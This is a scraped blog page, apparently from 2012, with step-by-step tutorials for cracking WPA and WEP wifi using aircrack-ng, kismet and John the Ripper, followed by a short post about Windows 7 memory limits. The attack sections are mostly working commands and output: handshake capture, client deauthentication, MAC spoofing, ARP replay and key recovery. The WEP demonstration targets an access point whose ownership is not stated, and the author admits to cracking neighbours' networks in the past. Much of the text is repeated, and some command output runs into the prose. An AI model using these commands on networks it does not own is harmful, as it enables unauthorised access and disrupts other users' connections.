This requires more brawn than brain, so using e.g. John the Ripper may be a good idea. See here for a suitable set-up for a beowulf cluster: http://verahill.blogspot.com.au/2012/09/compiling-john-ripper-singleserial.html
The only issue is that John the Ripper doesn't handle cap files directly.
Compile and install cap2hccap:
That creates a binary called cap2hccap.bin.
You might get a few warnings, but that's nothing to worry about. You might want to move the binary to e.g. /usr/local/bin
Convert your cap file from before
And crack
I'm just generally having very little luck with john the ripper to be honest, regardless of what I'm trying to crack -- so far I've only managed to test the password strengths of users on one of my linux boxes.
Errors:
If you get
Bug reported here: https://bugs.archlinux.org/task/30516 and here: http://www.openwall.com/lists/john-dev/2012/07/07/3
If you get
The point of this post is to show that 1) you should select reasonably complex passwords (complex from a dictionary/autogeneration POV) and 2) no password is uncrackable, so changing your password on a regular basis is a good idea.
See http://verahill.blogspot.com.au/2012/10/your-neighbours-wep-wifi-and-you.html to get set up with aircrack and kismet.
For this post I used my office wifi and my android phone as the client.
AP: "edunet2", Channel 6, MAC 00:1F:33:30:XX:XX, Client: MAC 00:23:76:B0:XX:XX
Snooping
Kismet is a good tool for this. See here for how to get started with kismet: http://verahill.blogspot.com.au/2012/10/your-neighbours-wep-wifi-and-you.html
Or you could just use your android phone and a decent wireless scanner...
Attacking
First set up your interface and a work directory:
mkdir ~/airscan cd ~/airscan sudo airmon-ng start wlan1
Next, start to collect data:
sudo airodump-ng -c 6 --bssid 00:1F:33:30:XX:XX -w psk wlan1You can now either wait, and wait and wait -- until you manage to capture a handshake (connection between client and AP).CH 6 ][ Elapsed: 2 mins ][ 2012-10-29 11:43 ][ BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:1F:33:30:XX:XX -21 0 1536 711 0 6 54e. WPA TKIP PSK edunet2 BSSID STATION PWR Rate Lost Packets 00:1F:33:30:XX:XX 00:23:76:B0:XX:XX -18 54e-54e 0
Or you can force things a bit if there's a client attached. To force it, de-authenticate the real client and hope that it's been set to auto-reconnect.
sudo aireplay-ng -0 1 -a 00:1F:33:30:XX:XX -c 00:23:76:B0:XX:XX wlan1
You're done when you see "WPA handshake: 00:1F:33:30:XX:XX" in the upper right corner.11:41:03 Waiting for beacon frame (BSSID: 00:1F:33:30:XX:XX) on channel 6 11:41:04 Sending 64 directed DeAuth. STMAC: [00:23:76:B0:XX:XX] [ 0|63 ACKs]
Depending on how far away you are from the AP and the client this may or may not be easy.
Cracking the password exchanged during the handshake is the biggest challenge though.
Cracking for show
In the case you actually already know the password (e.g. you're cracking your own wireless), create a file called password.lst with your password in it. Or get a dictionary file and add your password to it.
Then run
aircrack-ng -w password.lst -b 00:1F:33:30:XX:XX psk*.cap
which gives
Aircrack-ng 1.1 r1901 [00:00:00] 1 keys tested (389.52 k/s) KEY FOUND! [ supersecretpassword ] Master Key : 49 97 0F F9 BE 9E BB DB 9B 92 70 E2 2A 31 D5 1D 29 31 24 17 83 E9 45 63 D3 B0 E1 AE FA 65 DF 7B Transient Key : 37 6A 8D BC D6 2F 13 BD 31 DA B8 F4 21 A7 65 5C A9 39 9A 6B 68 44 D6 12 17 D2 E2 A5 6E 9E 51 19 4D A7 F7 5E 96 EB 41 06 D5 55 8A 53 23 04 66 D1 86 AC CC A1 13 17 CC 1A BF 62 9E 9B 20 6C DC 10 EAPOL HMAC : B3 07 9D 1A 16 A4 E0 EB C2 EE 71 81 D5 CB 56 E8As far as I understand aircrack-ng only support dictionary based attacks for WPA.
Brute-force using John the Ripper (sort of):
Ideally I should use the method shown below this section, but I haven't quite gotten that to work.
Instead I use john to generate the random strings and pipe them to aircrack-ng:
/opt/john/john-1.7.9/run/./john --incremental=Alpha --stdout| aircrack-ng -b 00:1F:33:30:XX:XX -w - psk*.cap
And that kind of works, although awkwardly so -- you can look at john.conf for limits to how the random passwords are generated (i.e. MaxLen, MinLen)
What should've worked follows below -- but it doesn't work for me.
So far not working:
*In theory everything below works, but I'm having no luck cracking the password even if I put it in the dictionary -- which is the points of the whole exercise.
Brute-forcing using John the Ripper:
This requires more brawn than brain, so using e.g. John the Ripper may be a good idea. See here for a suitable set-up for a beowulf cluster: http://verahill.blogspot.com.au/2012/09/compiling-john-ripper-singleserial.html
The only issue is that John the Ripper doesn't handle cap files directly.
Compile and install cap2hccap:
mkdir ~/tmp/cap2hccap cd ~/tmp/cap2hccap wget http://sourceforge.net/projects/cap2hccap/files/cap2hccap.tar.gz tar xvf cap2hccap.tar.gz make
That creates a binary called cap2hccap.bin.
You might get a few warnings, but that's nothing to worry about. You might want to move the binary to e.g. /usr/local/bin
sudo mv cap2hccap.bin /usr/local/bin/
Convert your cap file from before
cap2hccap.bin psk-02.cap psk-02.hccapConvert that file in turn:[info ] writing handshake for "edunet2".
/opt/john/john-1.7.9-jumbo-6/run/hccap2john psk-02.hccap > psk-02.john
And crack
touch john.ini
john --wordlist=password.lst --format=wpapskda psk-02.john
I'm just generally having very little luck with john the ripper to be honest, regardless of what I'm trying to crack -- so far I've only managed to test the password strengths of users on one of my linux boxes.
Errors:
If you get
./hccap2john psk-02.hccap psk-02.johnyou should upgrade to version 1.7.9-jumbo-7 or better.hccap2john: hccap2john.c:75: process_file: Assertion `bytes==392' failed. Aborted
Bug reported here: https://bugs.archlinux.org/task/30516 and here: http://www.openwall.com/lists/john-dev/2012/07/07/3
If you get
john --wordlist=/opt/john/wordlist.lst --format=wpapsk psk-02.johnjust create a file called john.ini in your working directoryfopen: $JOHN/john.ini: No such file or directory
touch john.ini
29 October 2012
270. Artificial limits
I don't normally care about windows or mac. It's been a long time since I bothered converting people to linux, and I read news about windows like I would read news about BSD -- with only mild interest.
But since I recently upgraded one of my nodes to 32 GB RAM I spent some time googling about what things I could do with it (the purpose of all that ram is computational chemistry -- in particular frequency calculations) and stumbled across a post: http://forums.anandtech.com/showthread.php?t=2234771
The thread is called: "How much RAM is too much?", and someone answered "193 gb", which turned out to be a reference to the artificially imposed limits on windows 7: http://www.zdnet.com/blog/hardware/max-memory-limits-for-64-bit-windows-7/4254
Apparently you can use 8 gb for the lower end, 16 gb for 'normal' home use, and 192 gb for the high end versions. I guess the fact that there's a 192 gb limit at all (I don't think there are any single-board boxes that can take much more than 64 gb, or possibly 128 gb, at the moment) is to avoid a repeat of XP, where the OS stopped making MS money long after they had tried to deprecate it.
The number of physical cpus is limited to 1 for the low end and 2 for the 'professional' versions. When it comes to logical cores it's 32 for 32 bit and 256 for 64 bit.
I'm not sure if the latter is an artificial or real limit, but the former certainly is artifically imposed.
Oh well, doesn't hurt being reminded every now and again about the frankly absurd things that the commercial world of software comes up with. You don't often get 'pro' versions in the FOSS world...
But since I recently upgraded one of my nodes to 32 GB RAM I spent some time googling about what things I could do with it (the purpose of all that ram is computational chemistry -- in particular frequency calculations) and stumbled across a post: http://forums.anandtech.com/showthread.php?t=2234771
The thread is called: "How much RAM is too much?", and someone answered "193 gb", which turned out to be a reference to the artificially imposed limits on windows 7: http://www.zdnet.com/blog/hardware/max-memory-limits-for-64-bit-windows-7/4254
Apparently you can use 8 gb for the lower end, 16 gb for 'normal' home use, and 192 gb for the high end versions. I guess the fact that there's a 192 gb limit at all (I don't think there are any single-board boxes that can take much more than 64 gb, or possibly 128 gb, at the moment) is to avoid a repeat of XP, where the OS stopped making MS money long after they had tried to deprecate it.
The number of physical cpus is limited to 1 for the low end and 2 for the 'professional' versions. When it comes to logical cores it's 32 for 32 bit and 256 for 64 bit.
I'm not sure if the latter is an artificial or real limit, but the former certainly is artifically imposed.
Oh well, doesn't hurt being reminded every now and again about the frankly absurd things that the commercial world of software comes up with. You don't often get 'pro' versions in the FOSS world...
269. Your neighbours' WEP wifi and you
A few years ago when I was living in an apartment block mainly inhabited by university students I took to cracking the passwords to my neighbours' WEP 'protected' wifi networks whenever I got bored -- the cracking WEP doesn't require much either in terms of brain or brawn, so it's admittedly not much of an accomplishment.
I'm writing this based off of notes I wrote a long time ago to teach people in the lab how to do various 'interesting' things with computers. Partly because even as a chemist you need to be able to -- you encounter the odd computer with a windows password or bios password which has been forgotten with time, but which is in a critical role, e.g. controlling an expensive instrument. Also, a fair number of research groups run their own wireless networks, and a lot of group leaders are barely computer literate. My pet theory is that this explains why so many of my colleagues use Macintosh...
So here's how to deal with WEP. The legality of this isn't questionable -- it is illegal to hack OTHER people's networks in most jurisdictions.
But here's a thought -- set up your own network and crack it for fun. Once you realise how easy it is you'll never look at WEP the same way again. You'll also understand why using a hidden SSID and MAC filtering doesn't do much to protect you.
Also, you'll most likely realise a few things which you can do to make it a little bit more troublesome to hack a WEP network (eventually it'll fall -- as will of course WPA2, although that's often requires brute force cracking which can take anything from 1 s to millenia)
DON"T GET YOURSELF IN TROUBLE BY BREAKING THE LAW. Also, be nice to your neighbours.
Anyway, WEP.
You'll need aircrack-ng and you might want kismet.
Kismet is available in the repos
You will need to edit /etc/kismet/kismet.conf to set it up for your particular wireless card. I've got a Sabrent High-power wireless-N USB device with a nice little antenna:
So I put the following in my /etc/kismet/kismet.conf
Use kismet to snoop for WEP wifi's and then get lists of associate clients:
Once you've started it, hit s to sort, and w to sort by wep/wpa. Select the network you're interested in and hit i for information and c for a list of attached clients (good to know if they have MAC based filtering). Capital Q exits.
Note that you don't really NEED kismet. It just happens to be a good tool, so if you're stuck with figuring out how to set it up, you can skip this section.
Anyway, I found an AP with a bssid of 00:1D:92:16:XX:XX (Micro-Star Int'l Co Ltd) and a number associated clients, including one with a MAC of 00:04:ED:91:17:XX (Billion Electric C). The AP is using channel 1.
You do need Aircrack-ng.
Edit common.mak and change
to
Compile and install:
You might get a fair bit of errors about variables being set (e.g. ndiswrapper) but not used. No worries.
If you were using network-manager you would now turn it off:
If you're using your wirless card (i.e. have it set up) there's a long list of other things which may need to be stopped:
But if you haven't configured you external USB card and you're not using network-manager you don't need to stop anything e.g. I only use my sabrent card for kismet and aircrack so I don't need to stop anything.
We need a directory to work in:
Time to set up your card in monitoring mode (wlan2 is my sabrent, wlan0 is my wicd-controlled internal laptop wifi):
The attack
A. Anyway, using kismet we earlier found an AP with a bssid of 00:1D:92:16:XX:XX (Micro-Star Int'l Co Ltd) and a number associated clients, including one with a MAC of 00:04:ED:91:17:XX (Billion Electric C) and another with 00:13:E8:8E:46:XX (Intel). The AP is using channel 1.
If you get a message about the channel being fixed, then you failed to stop something earlier (e.g. dhclient, wpa_supplicant). If all went well you'll be looking at something like this:
Important things here:
1. Make sure you're listening to the right channel (first row)
2. The MAC addresses listed under 'STATION' are connected clients. Good to know if you want to do mac spoofing.
3. The Data column is what you will want to keep your eyes on. These are the data packets which you're after and which will help you crack the WEP password.
In theory this is all you need to do, and you could just go away for an hour or two while you're passively collecting data. In most cases, you will want to speed things up, however.
B. To do that, in a second terminal run:
It should also now be obvious to you that filtering your wireless based on MAC really doesn't protect your network at all -- as soon as a client connects you've give a useable MAC address away. Same goes for hidden SSIDs. Your ONLY recourse is choosing a good password and not using WEP.
C. Once you've started capturing data (see A) you can start cracking:
In a fourth terminal run the following (and leave it running -- it'll preiodically re-run when there's enough new data)
And that's how easy WEP is to break. Don't use it.
I'm writing this based off of notes I wrote a long time ago to teach people in the lab how to do various 'interesting' things with computers. Partly because even as a chemist you need to be able to -- you encounter the odd computer with a windows password or bios password which has been forgotten with time, but which is in a critical role, e.g. controlling an expensive instrument. Also, a fair number of research groups run their own wireless networks, and a lot of group leaders are barely computer literate. My pet theory is that this explains why so many of my colleagues use Macintosh...
So here's how to deal with WEP. The legality of this isn't questionable -- it is illegal to hack OTHER people's networks in most jurisdictions.
But here's a thought -- set up your own network and crack it for fun. Once you realise how easy it is you'll never look at WEP the same way again. You'll also understand why using a hidden SSID and MAC filtering doesn't do much to protect you.
Also, you'll most likely realise a few things which you can do to make it a little bit more troublesome to hack a WEP network (eventually it'll fall -- as will of course WPA2, although that's often requires brute force cracking which can take anything from 1 s to millenia)
DON"T GET YOURSELF IN TROUBLE BY BREAKING THE LAW. Also, be nice to your neighbours.
Anyway, WEP.
You'll need aircrack-ng and you might want kismet.
Kismet is available in the repos
sudo apt-get install kismet
You will need to edit /etc/kismet/kismet.conf to set it up for your particular wireless card. I've got a Sabrent High-power wireless-N USB device with a nice little antenna:
Bus 002 Device 003: ID 148f:2870 Ralink Technology, Corp. RT2870 Wireless Adapter
So I put the following in my /etc/kismet/kismet.conf
source=rt73,wlan1,expt
Use kismet to snoop for WEP wifi's and then get lists of associate clients:
sudo kismet
Once you've started it, hit s to sort, and w to sort by wep/wpa. Select the network you're interested in and hit i for information and c for a list of attached clients (good to know if they have MAC based filtering). Capital Q exits.
Note that you don't really NEED kismet. It just happens to be a good tool, so if you're stuck with figuring out how to set it up, you can skip this section.
Anyway, I found an AP with a bssid of 00:1D:92:16:XX:XX (Micro-Star Int'l Co Ltd) and a number associated clients, including one with a MAC of 00:04:ED:91:17:XX (Billion Electric C). The AP is using channel 1.
You do need Aircrack-ng.
wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz tar xvf aircrack-ng-1.1.tar.gz cd aircrack-ng-1.1/
Edit common.mak and change
70 CFLAGS ?= -g -W -Wall -Werror -O3
to
70 CFLAGS ?= -g -W -Wall -O3
Compile and install:
make
sudo make install
You might get a fair bit of errors about variables being set (e.g. ndiswrapper) but not used. No worries.
If you were using network-manager you would now turn it off:
sudo service network-manager stop
If you're using your wirless card (i.e. have it set up) there's a long list of other things which may need to be stopped:
ps aux|grep dhclient ps aux|grep wpa_supplicant sudo service wicd stop
sudo service avahi-daemon stop
But if you haven't configured you external USB card and you're not using network-manager you don't need to stop anything e.g. I only use my sabrent card for kismet and aircrack so I don't need to stop anything.
We need a directory to work in:
mkdir ~/airscan
cd ~/airscan
Time to set up your card in monitoring mode (wlan2 is my sabrent, wlan0 is my wicd-controlled internal laptop wifi):
sudo airmon-ng start wlan2Check that there's a monX interface:Found 4 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! -e PID Name 2877 avahi-daemon 2878 avahi-daemon 4813 wpa_supplicant 4888 dhclient Process with PID 4813 (wpa_supplicant) is running on interface wlan0 Process with PID 4888 (dhclient) is running on interface wlan0 Interface Chipset Driver wlan2 Ralink RT2870/3070 rt2800usb - [phy1] (monitor mode enabled on mon0) wlan0 Unknown iwlwifi - [phy0]
sudo ifconfigIf you didn't use e.g. kismet above you can now scan the local environment using aireplay-ng (sudo aireplay-ng -9 mon0), although it often doesn't pick up all the networks which are accessible.mon0 Link encap:UNSPEC HWaddr 00-0D-0A-53-19-XX-3A-30-00-00-00-00-00-00-00-00 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:238 errors:0 dropped:238 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:16279 (15.8 KiB) TX bytes:0 (0.0 B
The attack
A. Anyway, using kismet we earlier found an AP with a bssid of 00:1D:92:16:XX:XX (Micro-Star Int'l Co Ltd) and a number associated clients, including one with a MAC of 00:04:ED:91:17:XX (Billion Electric C) and another with 00:13:E8:8E:46:XX (Intel). The AP is using channel 1.
sudo airodump-ng -c 1 --bssid 00:1D:92:16:XX:XX -w output mon0
If you get a message about the channel being fixed, then you failed to stop something earlier (e.g. dhclient, wpa_supplicant). If all went well you'll be looking at something like this:
CH 1 ][ Elapsed: 0 s ][ 2012-10-28 18:37 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSI 00:1D:92:16:XX:XX -76 0 30 7 1 1 54e WEP WEP BSSID STATION PWR Rate Lost Packets Probes 00:1D:92:16:XX:XX 00:13:E8:8E:46:XX -77 2 -12e 1 5
Important things here:
1. Make sure you're listening to the right channel (first row)
2. The MAC addresses listed under 'STATION' are connected clients. Good to know if you want to do mac spoofing.
3. The Data column is what you will want to keep your eyes on. These are the data packets which you're after and which will help you crack the WEP password.
In theory this is all you need to do, and you could just go away for an hour or two while you're passively collecting data. In most cases, you will want to speed things up, however.
B. To do that, in a second terminal run:
sudo aireplay-ng -1 0 -a 00:1D:92:16:XX:XX -h 00:13:E8:8E:46:XX mon0 --ignore-negative-oneand in a third terminal doingThe interface MAC (00:0D:0A:53:19:XX) doesn't match the specified MAC (-h). ifconfig mon0 hw ether 00:13:E8:8E:46:XX 18:39:40 Waiting for beacon frame (BSSID: 00:1D:92:16:XX:XX) on channel 1 18:39:40 Sending Authentication Request (Open System) 18:39:42 Sending Authentication Request (Open System) 18:39:44 Sending Authentication Request (Open System) 18:39:46 Sending Authentication Request (Open System) 18:39:48 Sending Authentication Request (Open System) 18:39:48 Authentication successful 18:39:48 Sending Association Request 18:39:48 Association successful :-) (AID: 1)
sudo aireplay-ng -3 -b 00:1D:92:16:XX:XX -h 00:13:E8:8E:46:XX mon0 --ignore-negative-oneTo be honest I don't know what the effect of this is like on the user whose MAC you are spoofing. I tend to stir things up for five minutes, then stop, wait ten minutes, then another five minutes, and it works quite ok. Also, sometimes you get higher data rates when you're NOT trying to push it. Each network is a little bit different.The interface MAC (00:0D:0A:53:19:XX) doesn't match the specified MAC (-h). ifconfig mon0 hw ether 00:13:E8:8E:46:XX 18:53:56 Waiting for beacon frame (BSSID: 00:1D:92:16:XX:XX) on channel 1 Saving ARP requests in replay_arp-1028-185356.cap You should also start airodump-ng to capture replies. Read 16660 packets (got 3 ARP requests and 18 ACKs), sent 7334 packets...(500 pps)
It should also now be obvious to you that filtering your wireless based on MAC really doesn't protect your network at all -- as soon as a client connects you've give a useable MAC address away. Same goes for hidden SSIDs. Your ONLY recourse is choosing a good password and not using WEP.
C. Once you've started capturing data (see A) you can start cracking:
In a fourth terminal run the following (and leave it running -- it'll preiodically re-run when there's enough new data)
sudo aircrack-ng -b 00:1D:92:16:XX:XX output*.capTypically you won't have much luck until you have 5-20k IVs. Sometimes that's quick and easy (I've cracked APs in 3-4 minutes), sometimes it's slow and cumbersome (can take hours doing passive snooping).Aircrack-ng 1.1 r1892 [01:49:20] Tested 27854 keys (got 10135 IVs) KB depth byte(vote) 0 0/ 24 6D(14592) A1(14592) D2(14592) 9E(14336) BA(14336) 26(14080) 13(13824) B4(13824) AE(13312) B2(13312) DF(13056) 1 3/ 5 93(14080) CE(13568) 4C(13312) 7E(13312) 93(13312) E6(13312) 16(13056) BB(13056) E3(13056) F0(13056) 17(12800) 2 2/ 3 67(15104) 57(13824) B8(13568) 22(13312) 4B(13312) B3(13312) EB(13312) 73(13056) 76(13056) C0(13056) D7(13056) 3 1/ 12 69(14848) 71(14592) 30(14592) 96(14080) A4(13568) 1D(13568) 35(13568) 8F(13312) B8(13056) E4(13056) 5F(13056) 4 4/ 8 63(13824) 2E(13568) E6(13568) ED(13568) 80(13312) AD(13312) C6(13312) EC(13312) 1C(12800) 21(12800) 7A(12800) KEY FOUND! [ 6D:61:67:69:63 ] (ASCII: magic ) Decrypted correctly: 100%
And that's how easy WEP is to break. Don't use it.
Subscribe to:
Posts (Atom)